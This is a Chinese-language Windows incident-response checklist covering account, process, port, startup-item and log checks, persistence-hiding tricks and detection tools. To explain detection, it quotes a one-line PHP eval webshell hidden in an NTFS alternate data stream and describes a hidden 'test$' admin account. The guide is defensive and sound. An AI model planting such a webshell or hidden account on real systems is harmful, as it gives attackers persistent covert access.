Windows应急响应
目录常见应急响应事件分类:
- Web入侵:网页挂马、主页篡改、Webshell
- 系统入侵:病毒木马、勒索软件、远控后门
- 网络攻击:DDos攻击、DNS劫持、ARP欺骗
一、入侵排查
1.1 检查系统账号安全
- a、服务器是否有弱口令,远程管理端口对外开放
- b、服务器是否有可以账号、新增账号,在cmd输入
lusrmgr.msc
查看。如有,请立即禁用或删掉 - c、服务器是否存在隐藏账号、克隆账号。打开注册表,查看管理员对应键值,使用D盾_web查杀工具,对克隆账号检测。
- d、查看日志里面的管理员登录时间、用户名是否存在异常。在cmd输入
eventvwr.msc
,打开“事件查看器”,导出Windows日志,使用微软官方工具Log Parser进行分析。
1.2 检查异常端口、进程
1.2.1 检查端口连接情况
- a、使用
netstat -ano
命令查看目前的网络连接,定位可疑的ESTABLISHED - b、使用
netstat PID
命令定位出PID的编号,再通过tasklist命令进行进程定位tasklist | findstr “PID”
1.2.2 进程
- a、在cmd输入msinfo32命令,依次点击“软件环境-正在运行任务”就可以看到详细信息(进程路径、进程ID、文件创建日期及启动时间)
- b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程
- c、通过微软官方提供的Process Explorer进行排查
- d、火绒剑
- e、查看可以进程以及子进程:
- 没有签名验证信息的进程
- 没有描述信息的进程
- 进程的路径是否合法
- CPU或内存资源占用长时间过高的进程
1.2.3 检查异常端口、进程
-
a、查看端口对应的 PID:netstat -ano | findstr "port"
-
b、查看进程对应的 PID:任务管理器 -- 查看 -- 选择列 -- PID 或者 tasklist | findstr "PID"
-
c、查看进程对应的程序位置:
- 任务管理器 -- 选择对应进程 -- 右键打开文件位置
- 运行输入 wmic,cmd 界面输入 process
-
d、tasklist /svc 进程 -- PID -- 服务
-
e、查看Windows服务所对应的端口: %systemroot%/system32/drivers/etc/services
(一般 %systemroot% 就是 C:\Windows 路径)
二、权限维持排查
攻击者在获取服务器权限后,通常会用一些后门来维持权限。
2.1 检查服务器是否有异常的启动项
-
a、登录服务器(默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下)。
- 系统启动文件夹:c:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
- 资源管理器打开“系统启动文件夹”的命令,shell:Common Startup
- 用户启动文件夹:c:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
- 资源管理器打开“用户启动文件夹”的命令,shell:startup
-
b、单击开始菜单 >【运行 】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾
选命名异常的启动项目,并到命令中显示的路径删除文件。
- c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如
下三个注册表项:
-
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
- 检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木
马。
-
d、利用安全软件查看启动项、开机时间管理等。
-
e、组策略,运行 `gpedit.msc
2.2 检查计划任务
-
a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。
-
b、单击【开始】>【运行】;输入
cmd
,然后输入at
,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。
2.3 检查服务自启动
- 单击【开始】>【运行】,输入
services.msc
,注意服务状态和启动类型,检查是否有异常服务。
2.4 破除权限维持隐藏
2.4.1 利用文件属性
-
a、隐藏:最简单的隐藏文件的发生,右键文件属性,勾选隐藏,确定后,文件会看不到。
破除隐藏:点击查看,勾选显示隐藏文件,文件就会显示。
-
b、高级隐藏:使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test.txt
。破除高级隐藏:打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器” 。
2.4.2 利用ADS隐藏文件内容
- 隐藏:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以向其中写入:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。 - 解决方法:
- 查看index.php:hidden.jsp内容,进入文件所在的目录,notepad index.php:hidden.jpg 或者 dir /r。
- 删除index.php:hidden.jpg,之间删除index.php即可。
2.4.3 驱动级文件隐藏
-
隐藏:驱动隐藏可以用一些软件来实现,软件名字叫:Easy File Locker。下载链接: http://www.xoslab.com/efl.html
-
破除隐藏:
-
确认是否隐藏
如果网站目录未查找到相关文件,且系统目录存在存在以下文件,那么应该是遭遇了驱动级文件隐藏。
-
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
实施清除:
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了
- 提示:隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像文件名并放在正常目录里面,很难辨别出来。这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。
2.4.4 隐藏账号
-
隐藏:window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。
-
破除隐藏:使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
2.4.5 端口复用
-
隐藏:可以使用WinRM服务或者其他的工具实现端口复用
-
破除隐藏:复用时会在安全日志中留下痕迹
2.4.6 进程注入
-
隐藏:进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。
-
破除隐藏:
- 1.通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。
- 2.利用process monitor或者火绒剑监控进程都可以定位到注入进程。
- 3.利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。
三、检查系统相关信息
3.1 查看系统版本以及补丁信息
- 检查方法:单击【开始】>【运行】,输入
systeminfo
,查看系统信息。
3.2 查找可以目录文件
-
a、 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录。
- Window 2003版本 C:\Documents and Settings 、
- Window 2008R2及以后版本 C:\Users\
-
b、单击【开始】>【运行】,输入
%UserProfile%\Recent
,分析最近打开分析可疑文件。 -
c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
-
d、回收站、浏览器下载目录、浏览器历史记录
-
e、修改时间在创建时间之前的为可疑文件
3.3 找出同一时间范围内创建的文件
- 发现并得到 WebShell、远控木马的创建时间,如何找出同一时间范围内创建的文件?
- a、利用 Registry Workshop 注册表编辑器的搜索功能,可以找到最后写入时间区间的文件。
- b、利用计算机自带文件搜索功能,指定修改时间进行搜索。
四、自动化查杀
- 病毒查杀
- 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描
- webshell查杀
- 选择具体站点路径进行webshell查杀,建议使用两款WebShell 查杀工具同时查杀,可相互补充规则库的不足
五、日志分析
5.1 Windows日志分析
5.1.1 日志简介
-
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
-
系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证(登录、远 程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。
5.1.2 日志分类
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
-
系统日志,记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。默认位置%SystemRoot%\System32\Winevt\Logs\System.evtx
-
应用程序日志,包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
-
安全日志,记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
5.1.3 ID说明
- 4624 登录成功
- 4625 登录失败
- 4634 注销成功
- 4647 用户启动的注销
- 4672 使用超级用户(管理员)进行登录
- 4720 创建用户
5.1.4 Log Parser日志分析
a、软件介绍
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
b、基本用法
-
基本查询结构
- Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"
-
使用Log Parser分析日志
- 登录成功的所有事件:LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"
-
指定登录时间范围的事件:LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"
-
提取登录成功的用户名和IP:LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624
-
登录失败的所有事件:LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4625"
-
提取登录失败用户名进行聚合统计:LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message"
-
系统历史开关机记录:LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"
5.2 系统日志
-
a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
-
b、Win+R 打开运行,输入 "eventvwr.msc",回车运行,打开"事件查看器"。
-
c、导出应用程序日志、安全日志、系统日志,利用 LogParser 进行分
析。
5.3 Web访问日志
-
a、找到中间件的web日志,打包到本地方便进行分析。
-
b、推荐工具:Windows 下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。Linux 下,使用 Shell 命令组合查询分析。
5.4 分析工具
5.4.1 病毒分析
- PCHunter:http://www.xuetr.com
- 火绒剑:https://www.huorong.cn
- Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
- processhacker:https://processhacker.sourceforge.io/downloads.php
- autoruns:https://docs.microsoft.com/enus/sysinternals/downloads/autoruns
- OTL:https://www.bleepingcomputer.com/download/otl/
- SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector
5.4.2 日志分析工具
- LogParser Lizard:对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁
琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。下载地址:http://www.lizard-labs.com/log-parser_lizard.aspx
- Event Log Explorer:Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录 被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。下载地址:https://event-log-explorer.en.softonic.com/
5.5 病毒查杀
版、最新病毒库)
-
大蜘蛛:http://free.drweb.ru/download+cureit+free(推荐理由:扫描快、一次下载只能用1周,更新病毒库)
-
火绒安全软件:https://www.huorong.cn
5.6 病毒动态
-
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
-
微步在线威胁情报社区:https://x.threatbook.cn
-
爱毒霸社区:http://bbs.duba.net
5.7 在线病毒扫描网站
-
Virustotal:https://www.virustotal.com
-
Virscan:http://www.virscan.org
-
腾讯哈勃分析系统:https://habo.qq.com
-
Jotti 恶意软件扫描系统:https://virusscan.jotti.org
5.8 webshell查杀
-
D盾_Web查杀:http://www.d99net.net/index.asp
-
河马 WebShell 查杀:http://www.shellpub.com